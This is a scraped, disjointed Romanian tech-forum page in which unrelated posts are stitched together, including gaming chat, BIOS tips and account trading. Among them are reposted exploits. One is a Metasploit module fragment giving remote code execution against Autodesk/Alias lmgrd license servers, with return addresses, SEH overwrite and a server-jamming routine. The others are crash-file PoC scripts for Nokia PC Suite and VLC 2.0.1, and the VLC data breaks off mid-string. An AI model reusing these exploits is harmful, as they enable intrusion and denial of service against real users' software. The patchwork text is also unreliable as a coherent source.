LLegoLLaS

foarte misto si delayul este extrem de mic din ce se vede in video, ceea ce e foarte tare.Sa inteleg ca asta emite niste raze cu care scaneaza miscarile mainii in 3d. E interesant cum creeaza si aprtea opusa a mainii (cea care nu e in campul vizual al suprafetei aparatului.Ma gandesc la cat de usor poti creea modele 3d din obiecte. citez: WHEN? si HOW MUCH?

Este F8.Apo iti setezi o rezolutie mica (800x600) si frecventa la 60hz (click drepata pe desktop etc) @robertutzu : daca nu ai chef nu mai posta sau macar nu mai injura gratuit

, 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 4000 }, 'Platform' => 'win', 'Targets' => [ [ 'Debug', {} ], [ 'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3', { 'Offset' => 10476, 'ShellcodeOffset' => 5504, 'Ret' => 0x0047d01f # ppr from lmgrd.exe } ], [ 'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3', { 'Offset' => 7324, 'ShellcodeOffset' => 2332, 'Ret' => 0x004eda91 # ppr from lmgrd.exe } ], [ 'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3', { 'Offset' => 7320, 'ShellcodeOffset' => 2328, 'Ret' => 0x004eb2e1 # ppr from lmgrd.exe } ], ], 'DefaultTarget' => 1, 'DisclosureDate' => 'Mar 23 2012')) register_options( [ Opt::RPORT(27000), OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]), OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]), OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ]) ], self.class) end def header_checksum(packet) packet_bytes = packet.unpack("C*") checksum = packet_bytes[0] i = 2 while i < 0x14 checksum = checksum + packet_bytes[i] i = i + 1 end return (checksum & 0x0FF) end def data_checksum(packet_data) word_table = "" i = 0 while i < 256 v4 = 0 v3 = i j = 8 while j > 0 if ((v4 ^ v3) & 1) == 1 v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF else v4 = (v4 >> 1) & 0x0FFFF end v3 >>= 1 j = j - 1 end word_table << [v4].pack("S") i = i + 1 end k = 0 checksum = 0 data_bytes = packet_data.unpack("C*") word_table_words = word_table.unpack("S*") while k < packet_data.length position = data_bytes[k] ^ (checksum & 0x0FF) checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFF k = k + 1 end return checksum end def create_packet(data) pkt = "\x2f" pkt << "\x00" # header checksum pkt << "\x00\x00" # data checksum pkt << "\x00\x00" # pkt length pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" pkt << data pkt[4,2] = [pkt.length].pack("n") data_sum = data_checksum(pkt[4, pkt.length - 4]) pkt[2, 2] = [data_sum].pack("n") hdr_sum = header_checksum(pkt[0, 20]) pkt[1] = [hdr_sum].pack("C") return pkt end def jam pkt = create_packet("") datastore['Jam'].times do connect sock.put(pkt) disconnect end end def exploit i = 1 while i <= datastore['Attempts'] and not session_created? print_status("Attempt #{i}/#{datastore['Attempts']} to exploit...") do_exploit sleep(datastore['Wait']) i = i + 1 end if not session_created? print_error("Exploit didn't work after #{i} attempts") end end def do_exploit t = framework.threads.spawn("jam", false) { jam } my_payload = payload.encoded header_length = 20 # See create_packet() to understand this number pkt_data = "" if target.name =~ /Debug/ pkt_data << "a" * (65535 - header_length) else pkt_data << "a" * target['ShellcodeOffset'] pkt_data << my_payload pkt_data << rand_text(target['Offset']-target['ShellcodeOffset']-my_payload.length) pkt_data << generate_seh_record(target.ret) pkt_data << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5000").encode_string pkt_data << rand_text(65535 - pkt_data.length - header_length) end pkt = create_packet(pkt_data) connect sock.put(pkt) handler disconnect end end sursa: bugsearch

AM jucat si eu acum cateva luni pe vechiul Prescott Mafia II si pot sa spun ca a mers mai bine decat ma asteptam

din ce stiu nu poti face downgrade la BIOS.Incearca alta imagine WXP.Totusi nu vad avantajele WXP fata de Seven din moment ce toate programele pot fi rulate pe seven. BsoD l-ai luat probabil pentru ca odata cu update bios s-au modificat unele setari.Incearca un reset default si incearca sa instalezi din nou WXP

am eu origin cu BFBC2 dar mai are pe langa el NFS Hot pursuit, BF3 limited edition,Darkspore,Medal of honor,Crysis 2.Caut steam cu GTA IV,MW3 si inca un joc cunoscut,oricare

de cand NFS pe steam?

Am si eu un pc pe care il folosesc sa oua gainile.Cat iti dau sa mi-l cureti de cacat? This topic is so fuckin wrong

Hackeru mafiot de la final primeste KEY Test Drive Unlimited 2 de la mine

########################################################################################################### Application : Nokia PC Suite Video Manager DoS Versions : <= 7.1.180.64 Date : Friday, April 27,2012 Auther : Senator of Pirates E-Mail : SenatorofPirates.info@gmail.com FaceBook : /SenatorofPiratesInfo Greetz : i greet to my best friends and every moroccan ########################################################################################################### PoC : ----- Data = ("\x00\x00\x00\x1c\x66\x74\x79\x70\x6d\x70\x34\x32\x00\x00\x00\x00\x69\x73\x6f\x6d\x61\x76\x63\x31\x6d\x70\x34\x32\x00\x01\x19\x28" "\x6d\x6f\x6f\x76\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\xc7\x21\xfc\x5b\xc7\x21\xfc\x5b\x00\x00\x02\x58\x00\x02\x22\xa8" "\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x15\x69\x6f\x64\x73\x00\x00\x00\x00\x10\x07\x00\x4f" "\xff\xff\x29\x15\xff\x00\x00\xa5\xe5\x74\x72\x61\x6b\x00\x00\x00\x5c\x74\x6b\x68\x64\x00\x00\x00\x01\xc7\x21\xfc\x5b\xc7\x21\xfc" "\x5b\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x22\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00" "\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\xa5\x81\x6d\x64\x69\x61\x00\x00\x00\x20\x6d\x64\x68\x64\x00\x00\x00\x00\xc7\x21\xfc" "\x5b\xc7\x21\xfc\x5b\x00\x00\xac\x44\x00\x9c\xf0\x00\x55\xc4\x00\x00\x00\x00\x00\x42\x68\x64\x6c\x72\x00\x00\x00\x00\x00\x00\x00" "\x00\x73\x6f\x75\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x43\x29\x20\x32\x30\x30\x37\x20\x47\x6f\x6f\x67\x6c\x65" "\x20\x49\x6e\x63\x2e\x20\x76\x30\x38\x2e\x31\x33\x2e\x32\x30\x30\x37\x2e\x00\x00\x00\xa5\x17\x6d\x69\x6e\x66\x00\x00\x00\x10\x73" "\x6d\x68\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x64\x69\x6e\x66\x00\x00\x00\x1c\x64\x72\x65\x66\x00\x00\x00\x00\x00" "\x00\x00\x01\x00\x00\x00\x0c\x75\x72\x6c\x20\x00\x00\x00\x01\x00\x00\xa4\xdb\x73\x74\x62\x6c\x00\x00\x00\x5b\x73\x74\x73\x64\x00" "\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x4b\x6d\x70\x34\x61\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x02\x00\x10\x00\x00\x00\x00\xac\x44\x00\x00\x00\x00\x00\x27\x65\x73\x64\x73\x00\x00\x00\x00\x03\x19\x00\x00\x00\x04\x11\x40\x15" "\x00\x01\xe6\x00\x02\x2d\x38\x00\x01\xcd\x28\x05\x02\x12\x10\x06\x01\x02\x00\x00\x00\x18\x73\x74\x74\x73\x00\x00\x00\x00\x00\x00" "\x00\x01\x00\x00\x27\x3c\x00\x00\x04\x00\x00\x00\x00\x28\x73\x74\x73\x63\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00"); avi = open('poc.mp4', 'wb+') avi.write(Data) avi.close() sursa: bugsearch

anonshit.Stiri false ca si pana acum +1 Birkoff

@nedo i-am explicat pe ym exact cum sta treaba si se pare ca a si inteles...cred.Asa ceva nu se face

n-ar fi prima oara

########################################################################################################### Application : VLC 2.0.1 division by zero vulnerability Versions : 2.0.1 Date : 19/04/2012 Auther : Senator of Pirates E-Mail : Senator.of.Pirates.team[at]gmail.com FaceBook : /SenatorofPiratesInfo ############################################################################################################ Bug : ---- division by zero vulnerability during the handling of the MP4 files. some values is read from file and will be division so that values it's under control so we have to modified some bytes for occur crash. PoC : Data = "\x00\x00\x00\x1C\x66\x74\x79\x70\x6D\x70\x34\x32\x00\x00\x00\x00\x69\x73\x6F\x6D\x61\x76\x63\x31\x6D\x70\x34\x32\x00\x01\x19\x28\x6D\x6F\x6F\x76\x00\x00\x00\x6C\x6D\x76\x68\x64\x00\x00\x00\x00\xC7\x21\xFC\x5B\xC7\x21\xFC\x5B\x00\x00\x02\x58\x00\x02\x22\xA8\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x15\x69\x6F\x64\x73\x00\x00\x00\x00\x10\x07\x00\x4F\xFF\xFF\x29\x15\xFF\x00\x00\xA5\xE5\x74\x72\x61\x6B\x00\x00\x00\x5C\x74\x6B\x68\x64\x00\x00\x00\x01\xC7\x21\xFC\x5B\xC7\x21\xFC\x5B\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x22\x9C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\xA5\x81\x6D\x64\x69\x61\x00\x00\x00\x20\x6D\x64\x68\x64\x00\x00\x00\x00\xC7\x21\xFC\x5B\xC7\x21\xFC\x5B\x00\x00\x00\x00\x00\x9C\xF0\x00\x55\xC4\x00\x00\x00\x00\x00\x42\x68\x64\x6C\x72\x00\x00\x00\x00\x00\x00\x00\x00\x73\x6F\x75\x6E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x43\x29\x20\x32\x30\x30\x37\x20\x47\x6F\x6F\x67\x6C\x65\x20\x49\x6E\x63\x2E\x20\x76\x30\x38\x2E\x31\x33\x2E\x32\x30\x30\x37\x2E\x00\x00\x00\xA5\x17\x6D\x69\x6E\x66\x00\x00\x00\x10\x73\x6D\x68\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x64\x69\x6E\x66\x00\x00\x00\x1C\x64\x72\x65\x66\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x75\x72\x6C\x20\x00\x00\x00\x01\x00\x00\xA4\xDB\x73\x74\x62\x6C\x00\x00\x00\x5B\x73\x74\x73\x64\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x4B\x6D\x70\x34\x61\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x10\x00\x00\x00\x00\xAC\x44\x00\x00\x00\x00\x00\x27\x65\x73\x64\x73\x00\x00\x00\x00\x03\x19\x00\x00\x00\x04\x11\x40\x15\x00\x01\xE6\x00\x02\x2D\x38\x00\x01\xCD\x28\x05\x02\x12\x10\x06\x01\x02\x00\x00\x00\x18\x73\x74\x74\x73\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x27\x3C\x00\x00\x04\x00\x00\x00\x00\x28\x73\x74\x73\x63\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x16\x00\x00\x00\x01\x00\x00\x01\xC9\x00\x00\x00\x0C\x00\x00\x00\x01\x00\x00\x9D\x04\x73\x74\x73\x7A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x27\x3C\x00\x00\x00\x09\x00\x00\x00\x09\x00\x00\x00\x09\x00\x00\x00\x09\x00\x00\x00\x09\x00\x00\x00\x09\x00\x00\x01\x6D\x00\x00\x01\x5F\x00\x00\x01\x8E\x00\x00\x01\x76\x00\x00\x01\x7B\x00\x00\x01\x72\x00\x00\x01\x76\x00\x00\x01\x7E\x00\x00\x01\x75\x00\x00\x01\x7B\x00\x00\x01\x74\x00\x00\x01\x75\x00\x00\x01\x71\x00\x00\x01\x6B\x00\x00\x01\x61\x00\x00\x01\x63\x00\x00\x01\x6D\x00\x00\x01\x5E\x00\x00\x01\x66\x00\x00\x01\x5D\x00\x00\x01\x55\x00\x00\x01\x5D\x00\x00\x01\x66\x00\x00\x01\x66\x00\x00\x01\x60\x00\x00\x01\x59\x00\x00\x01\x56\x00\x00\x01\x54\x00\x00\x01\x68\x00\x00\x01\x4B\x00\x00\x01\x4D\x00\x00\x01\x51\x00\x00\x01\x4C\x00\x00\x01\x43\x00\x00\x01\x40\x00\x00\x01\x3D\x00\x00\x01\x2E\x00\x00\x01\x19\x00\x00\x01\x12\x00\x00\x01\x03\x00\x00\x01\x1D\x00\x00\x01\x1A\x00\x00\x01\x16\x00\x00\x01\x21\x00\x00\x01\x08\x00\x00\x01\x18\x00\x00\x01\x1A\x00\x00\x01\x09\x00\x00\x00\xFF\x00\x00\x00\xFF\x00\x00\x01\x01\x00\x00\x00\xFD\x00\x00\x00\xF7\x00\x00\x00\xF5\x00\x00\x01\x15\x00\x00\x01\x1A\x00\x00\x01\x17\x00\x00\x01\x09\x00\x00\x01\x0D\x00\x00\x01\x11\x00\x00\x01\x0F\x00\x00\x01\x14\x00\x00\x01\x09\x00\x00\x01\x19\x00\x00\x01\x03\x00\x00\x01\x0E\x00\x00\x00\xF8\x00\x00\x00\xEF\x00\x00\x01\x0E\x00\x00\x01\x10\x00\x00\x01\x12\x00\x00\x01\x0B\x00\x00\x01\x0D\x00\x00\x01\x0C\x00\x00\x01\x0C\x00\x00\x01\x11\x00\x00\x01\x07\x00\x00\x01\x0A\x00\x00\x01\x08\x00\x00\x01\x08\x00\x00\x01\x00\x00\x00\x01\x0D\x00\x00\x01\x09\x00\x00\x01\x01\x00\x00\x00\xFD\x00\x00\x01\x01\x00\x00\x00\xFF\x00\x00\x01\x05\x00\x00\x01\x01\x00\x00\x01\x02\x00\x00\x01\x09\x00\x00\x00\xFC\x00\x00\x00\xFE\x00\x00\x00\xFD\x00\x00\x01\x00\x00\x00\x01\x03\x00\x00\x00\xFF\x00\x00\x01\x01\x00\x00\x01\x06\x00\x00\x01\x08\x00\x00\x00\xFD\x00\x00\x00\xFC\x00\x00\x00\xF1\x00\x00\x01\x02\x00\x00\x00\xF8\x00\x00\x01\x15\x00\x00\x01\x20\x00\x00\x01\x10\x00\x00\x01\x18\x00\x00\x01\x16\x00\x00\x01\x0F\x00\x00\x00\xEE\x00\x00\x00\xFB\x00\x00\x01\x02\x00\x00\x01\x13\x00\x00\x01\x16\x00\x00\x01\x1B\x00\x00\x01\x17\x00\x00\x01\x13\x00\x00\x01\x0C\x00\x00\x01\x1E\x00\x00\x01\x06\x00\x00\x01\x0C\x00\x00\x00\xF9\x00\x00\x01\x04\x00\x00\x00\xF3\x00\x00\x00\xF7\x00\x00\x00\xF8\x00\x00\x01\x14\x00\x00\x01\x1D\x00\x00\x01\x1B\x00\x00\x01\x20\x00\x00\x01\x10\x00\x00\x01\x15\x00\x00\x01\x14\x00\x00\x01\x0F\x00\x00\x01\x15\x00\x00\x01\x0D\x00\x00\x01\x07\x00\x00\x01\x0E\x00\x00\x00\xFB\x00\x00\x00\xFD\x00\x00\x01\x0F\x00\x00\x01\x13\x00\x00\x01\x16\x00\x00\x01\x08\x00\x00\x01\x11\x00\x00\x01\x13\x00\x00\x00\xFB\x00\x00\x00\xF8\x00\x00\x00\xFC\x00\x00\x01\x1C\x00\x00\x01\x16\x00\x00\x01\x1B\x00\x00\x01\x1E\x00\x00\x01\x11\x00\x00\x01\x14\x00\x00\x01\x14\x00\x00\x01\x20\x00\x00\x01\x03\x00\x00\x01\x12\x00\x00\x01\x12\x00\x00\x01\x0C\x00\x00\x01\x08\x00\x00\x01\x0F\x00\x00\x01\x12\x00\x00\x01\x13\x00\x00\x01\x0D\x00\x00\x01\x09\x00\x00\x01\x1C\x00\x00\x01\x19\x00\x00\x01\x17\x00\x00\x01\x17\x00\x00\x01\x11\x00\x00\x01\x1C\x00\x00\x01\x13\x00\x00\x01\x10\x00\x00\x01\x01\x00\x00\x00\xFD\x00\x00\x01\x18\x00\x00\x01\x1A\x00\x00\x01\x1F\x00\x00\x01\x1E\x00\x00\x01\x0C\x00\x00\x01\x14\x00\x00\x01\x02\x00\x00\x01\x03\x00\x00\x01\x00\x00\x00\x01\x1C\x00\x00\x01\x1E\x00\x00\x01\x23\x00\x00\x01\x1D\x00\x00\x01\x1C\x00\x00\x01\x23\x00\x00\x01\x1B\x00\x00\x01\x12\x00\x00\x01\x19\x00\x00\x01\x1B\x00\x00\x01\x11\x00\x00\x01\x1B\x00\x00\x01\x06\x00\x00\x01\x03\x00\x00\x01\x1F\x00\x00\x01\x1D\x00\x00\x01\x20\x00\x00\x01\x20\x00\x00\x01\x24\x00\x00\x01\x24\x00\x00\x01\x21\x00\x00\x01\x2A\x00\x00\x01\x27\x00\x00\x01\x23\x00\x00\x01\x23\x00\x00\x01\x26\x00\x00\x01\x09\x00\x00\x01\x23\x00\x00\x01\x1C\x00\x00\x01\x23\x00\x00\x01\x1D\x00\x00\x01\x19\x00\x00\x01\x20\x00\x00\x01\x1A\x00\x00\x01\x19\x00\x00\x01\x17\x00\x00\x01\x13\x00\x00\x01\x27\x00\x00\x01\x2F\x00\x00\x01\x36\x00\x00\x01\x1D\x00\x00\x01\x26\x00\x00\x01\x20\x00\x00\x01\x1F\x00\x00\x01\x19\x00\x00\x01\x1B\x00\x00\x01\x21\x00\x00\x01\x28\x00\x00\x01\x39\x00\x00\x01\x22\x00\x00\x01\x2D\x00\x00\x01\x25\x00\x00\x01\x2C\x00\x00\x01\x22\x00\x00\x01\x2A\x00\x00\x01\x36\x00\x00\x01\x3A\x00\x00\x01\x38\x00\x00\x01\x39\x00\x00\x01\x35\x00\x00\x01\x32\x00\x00\x01\x3B\x00\x00\x01\x0B\x00\x00\x01\x10\x00\x00\x01\x2A\x00\x00\x01\x2F\x00\x00\x01\x2D\x00\x00\x01\x33\x00\x00\x01\x29\x00\x00\x01\x2A\x00\x00\x01\x2E\x00\x00\x01\x15\x00\x00\x01\x10\x00\x00\x01\x0D\x00\x00\x01\x37\x00\x00\x01\x2E\x00\x00\x01\x34\x00\x00\x01\x2C\x00\x00\x01\x2C\x00\x00\x01\x2A\x00\x00\x01\x2A\x00\x00\x01\x1C\x00\x00\x01\x2C\x00\x00\x01\x23\x00\x00\x01\x2B\x00\x00\x01\x16\x00\x00\x01\x0F\x00\x00\x01\x35\x00\x00\x01\x2C\x00\x00\x01\x2E\x00\x00\x01\x2E\x00\x00\x01\x38\x00\x00\x01\x3B\x00\x00\x01\x39\x00\x00\x01\x47\x00\x00\x01\x43\x00\x00\x01\x3F\x00\x00\x01\x38\x00\x00\x01\x3F\x00\x00\x01\x09\x00\x00\x01\x0D\x00\x00\x01\x17\x00\x00\x01\x3B\x00\x00\x01\x33\x00\x00\x01\x37\x00\x00\x01\x36\x00\x00\x01\x36\x00\x00\x01\x34\x00\x00\x01\x34\x00\x00\x01\x3B\x00\x00\x01\x1D\x00\x00\x01\x34\x00\x00\x01\x3E\x00\x00\x01\x37\x00\x00\x01\x33\x00\x00\x01\x2E\x00\x00\x01\x28\x00\x00\x01\x22\x00\x00\x01\x26\x00\x00\x01\x33\x00\x00\x01\x2F\x00\x00\x01\x37\x00\x00\x01\x41\x00\x00\x01\x38\x00\x00\x01\x30\x00\x00\x01\x34\x00\x00\x01\x33\x00\x00\x01\x35\x00\x00\x01\x37\x00\x00\x01\x3E\x00\x00\x01\x44\x00\x00\x01\x4E\x00\x00\x01\x49\x00\x00\x01\x43\x00\x00\x01\x41\x00\x00\x01\x2E\x00\x00\x01\x16\x00\x00\x01\x12\x00\x00\x01\x2B\x00\x00\x01\x37\x00\x00\x01\x2F\x00\x00\x01\x39\x00\x00\x01\x33\x00\x00\x01\x3E\x00\x00\x01\x41\x00\x00\x01\x25\x00\x00\x01\x07\x00\x00\x01\x0A\x00\x00\x01\x2A\x00\x00\x01\x2A\x00\x00\x01\x20\x00\x00\x01\x20\x00\x00\x01\x30\x00\x00\x01\x1C\x00\x00\x01\x1D\x00\x00\x01\x1B\x00\x00\x01\x08\x00\x00\x01\x12\x00\x00\x01\x0C\x00\x00\x01\x01\x00\x00\x01\x04\x00\x00\x01\x25\x00\x00\x01\x32\x00\x00\x01\x26\x00\x00\x01\x21\x00\x00\x01\x2A\x00\x00\x01\x36\x00\x00\x01\x3E\x00\x00\x01\x32\x00\x00\x01\x3F\x00\x00\x01\x3E\x00\x00\x01\x36\x00\x00\x01\x29\x00\x00\x01\x06\x00\x00\x01\x09\x00\x00\x01\x23\x00\x00\x01\x26\x00\x00\x01\x2A\x00\x00\x01\x27\x00\x00\x01\x2D\x00\x00\x01\x2C\x00\x00\x01\x35\x00\x00\x01\x30\x00\x00\x01\x1A\x00\x00\x01\x27\x00\x00\x01\x30\x00\x00\x01\x20\x00\x00\x01\x21\x00\x00\x01\x17\x00\x00\x01\x0F\x00\x00\x01\x0C\x00\x00\x01\x1B\x00\x00\x01\x01\x00\x00\x01\x0F\x00\x00\x01\x18\x00\x00\x01\x19\x00\x00\x01\x27\x00\x00\x01\x1D\x00\x00\x01\x29\x00\x00\x01\x19\x00\x00\x01\x1B\x00\x00\x01\x27\x00\x00\x01\x29\x00\x00\x01\x29\x00\x00\x01\x2D\x00\x00\x01\x2B\x00\x00\x01\x2E\x00\x00\x01\x28\x00\x00\x01\x24\x00\x00\x01\x17\x00\x00\x01\x02\x00\x00\x01\x04\x00\x00\x01\x25\x00\x00\x01\x22\x00\x00\x01\x16\x00\x00\x01\x1B\x00\x00\x01\x2A\x00\x00\x01\x1A\x00\x00\x01\x09\x00\x00\x01\x08\x00\x00\x00\xF6\x00\x00\x01\x15\x00\x00\x01\x0F\x00\x00\x01\x12\x00\x00\x01\x15\x00\x00\x01\x0F\x00\x00\x01\x08\x00\x00\x01\x10\x00\x00\x01\x01\x00\x00\x00\xFA\x00\x00\x01\x0B\x00\x00\x00\xFD\x00\x00\x00\xF5\x00\x00\x00\xFE\x00\x00\x00\xFD\x00\x00\x01\x1C\x00\x00\x01\x1B\x00\x00\x01\x0D\x00\x00\x01\x1A\x00\x00\x01\x19\x00\x00\x01\x0F\x00\x00\x01\x1B\x00\x00\x01\x12\x00\x00\x01\x10\x00\x00\x01\x1C\x00\x00\x01\x12\x00\x00\x01\x0C\x00\x00\x00\xFB\x00\x00\x00\xFE\x00\x00\x01\x11\x00\x00\x01\x0A\x00\x00\x01\x13\x00\x00\x01\x14\x00\x00\x01\x08\x00\x00\x01\x10\x00\x00\x01\x0E\x00\x00\x01\x06\x00\x00\x00\xF9\x00\x00\x01\x15\x00\x00\x01\x0D\x00\x00\x01\x0D\x00\x00\x01\x11\x00\x00\x01\x0B\x00\x00\x01\x12\x00\x00\x01\x03\x00\x00\x01\x08\x00\x00\x01\x08\x00\x00\x01\x08\x00\x00\x01\x05\x00\x00\x01\x0A\x00\x00\x00\xFE\x00\x00\x01\x09\x00\x00\x00\xFE\x00\x00\x01\x0D\x00\x00\x01\x09\x00\x00\x01\x0F\x00\x00\x01\x17\x00\x00\x01\x0E\x00\x00\x01\x15\x00\x00\x01\x0E\x00\x00\x01\x06\x00\x00\x01\x08\x00\x00\x01\x08\x00\x00\x01\x08\x00\x00\x00\xF4\x00\x00\x00\xF9\x00\x00\x00\xFB\x00\x00\x01\x11\x00\x00\x01\x0B\x00\x00\x01\x13\x00\x00\x01\x0D\x00\x00\x01\x0E\x00\x00\x00\xF8\x00\x00\x01\x00\x00\x00\x00\xF4\x00\x00\x01\x16\x00\x00\x01\x14\x00\x00\x01\x08\x00\x00\x01\x0C\x00\x00\x01\x04\x00\x00\x01\x0B\x00\x00\x01\x07\x00\x00\x01\x05\x00\x00\x00\xFC\x00\x00\x01\x00\x00\x00\x01\x04\x00\x00\x01\x01\x00\x00\x00\xEF\x00\x00\x00\xF5\x00\x00\x00\xF6\x00\x00\x01\x10\x00\x00\x01\x07\x00\x00\x01\x0B\x00\x00\x01\x12\x00\x00\x01\x06\x00\x00\x01\x01\x00\x00\x01\x02\x00\x00\x01\x03\x00\x00\x01\x06\x00\x00\x01\x00\x00\x00\x00\xF5\x00\x00\x00\xF3\x00\x00\x00\xFA\x00\x00\x01\x08\x00\x00\x01\x10\x00\x00\x01\x0D\x00\x00\x01\x09\x00\x00\x01\x0A\x00\x00\x01\x03\x00\x00\x01\x06\x00\x00\x01\x02\x00\x00\x01\x08\x00\x00\x01\x01\x00\x00\x00\xF7\x00\x00\x00\xFE\x00\x00\x00\xFB\x00\x00\x01\x02\x00\x00\x00\xFA\x00\x00\x00\xF8\x00\x00\x01\x02\x00\x00\x00\xFE\x00\x00\x00\xF9\x00\x00\x01\x04\x00\x00\x01\x01\x00\x00\x01\x03\x00\x00\x01\x04\x00\x00\x00\xFA\x00\x00\x00\xFC\x00\x00\x00\xFD\x00\x00\x01\x02\x00\x00\x00\xFE\x00\x00\x00\xFD\x00\x00\x01\x01\x00\x00\x00\xFF\x00\x00\x00\xFD\x00\x00\x00\xFC\x00\x00\x00\xFC\x00\x00\x01\x06\x00\x00\x00\xFB\x00\x00\x00\xF2\x00\x00\x01\x0E\x00\x00\x01\x0E\x00\x00\x01\x0D\x00\x00\x01\x1A\x00\x00\x01\x0F\x00\x00\x01\x0D\x00\x00\x00\xF7\x00\x00\x00\xF5\x00\x00\x00\xEF\x00\x00\x01\x15\x00\x00\x01\x0C\x00\x00\x01\x13\x00\x00\x01\x08\x00\x00\x01\x06\x00\x00\x01\x08\x00\x00\x01\x09\x00\x00\x01\x04\x00\x00\x01\x03\x00\x00\x01\x01\x00\x00\x01\x02\x00\x00\x01\x00\x00\x00\x00\xF3\x00\x00\x00\xF4\x00\x00\x01\x0B\x00\x00\x01\x13\x00\x00\x01\x16\x00\x00\x01\x09\x00\x00\x01\x0F\x00\x00\x01\x10\x00\x00\x01\x07\x00\x00\x01\x0B\x00\x00\x01\x00\x00\x00\x01\x04\x00\x00\x00\xFF\x00\x00\x01\x0E\x00\x00\x00\xF9\x00\x00\x00\xF6\x00\x00\x01\x0C\x00\x00\x01\x0E\x00\x00\x01\x15\x00\x00\x01\x13\x00\x00\x01\x17\x00\x00\x01\x0D\x00\x00\x00\xF5\x00\x00\x01\x14\x00\x00\x01\x10\x00\x00\x01\x0B\x00\x00\x01\x0E\x00\x00\x01\x05\x00\x00\x01\x02\x00\x00\x01\x05\x00\x00\x01\x08\x00\x00\x01\x02\x00\x00\x00\xF2\x00\x00\x01\x08\x00\x00\x01\x04\x00\x00\x00\xFF\x00\x00\x00\xEA\x00\x00\x01\x1E\x00\x00\x01\x28\x00\x00\x01\x23\x00\x00\x01\x27\x00\x00\x01\x2A\x00\x00\x01\x3A\x00\x00\x01\x47\x00\x00\x01\x42\x00\x00\x01\x51\x00\x00\x01\x4D\x00\x00\x01\x40\x00\x00\x01\x4D\x00\x00\x01\x31\x00\x00\x01\x5F\x00\x00\x01\x5E\x00\x00\x01\x66\x00\x00\x01\x62\x00\x00\x01\x60\x00\x00\x01\x55\x00\x00\x01\x58\x00\x00\x01\x55\x00\x00\x01\x47\x00\x00\x01\x3D\x00\x00\x01\x1C\x00\x00\x01\x1A\x00\x00\x01\x26\x00\x00\x01\x1E\x00\x00\x01\x05\x00\x00\x01\x13\x00\x00\x01\x19\x00\x00\x01\x0D\x00\x00\x01\x07\x00\x00\x01\x05\x00\x00\x01\x16\x00\x00\x01\x14\x00\x00\x01\x10\x00\x00\x01\x13\x00\x00\x00\xF5\x00\x00\x01\x08\x00\x00\x01\x07\x00\x00\x01\x0C\x00\x00\x00\xFD\x00\x00\x01\x11\x00\x00\x01\x17\x00\x00\x01\x19\x00\x00\x01\x11\x00\x00\x01\x0B\x00\x00\x01\x0C\x00\x00\x01\x0B\x00\x00\x01\x08\x00\x00\x00\xF2\x00\x00\x01\x16\x00\x00\x01\x0F\x00\x00\x01\x09\x00\x00\x01\x0E\x00\x00\x00\xFD\x00\x00\x01\x00\x00\x00\x01\x0F\x00\x00\x01\x06\x00\x00\x00\xFD\x00\x00\x01\x1B\x00\x00\x01\x2B\x00\x00\x01\x2A\x00\x00\x01\x1E\x00\x00\x01\x22\x00\x00\x01\x1C\x00\x00\x01\x0E\x00\x00\x01\x1B\x00\x00\x01\x06\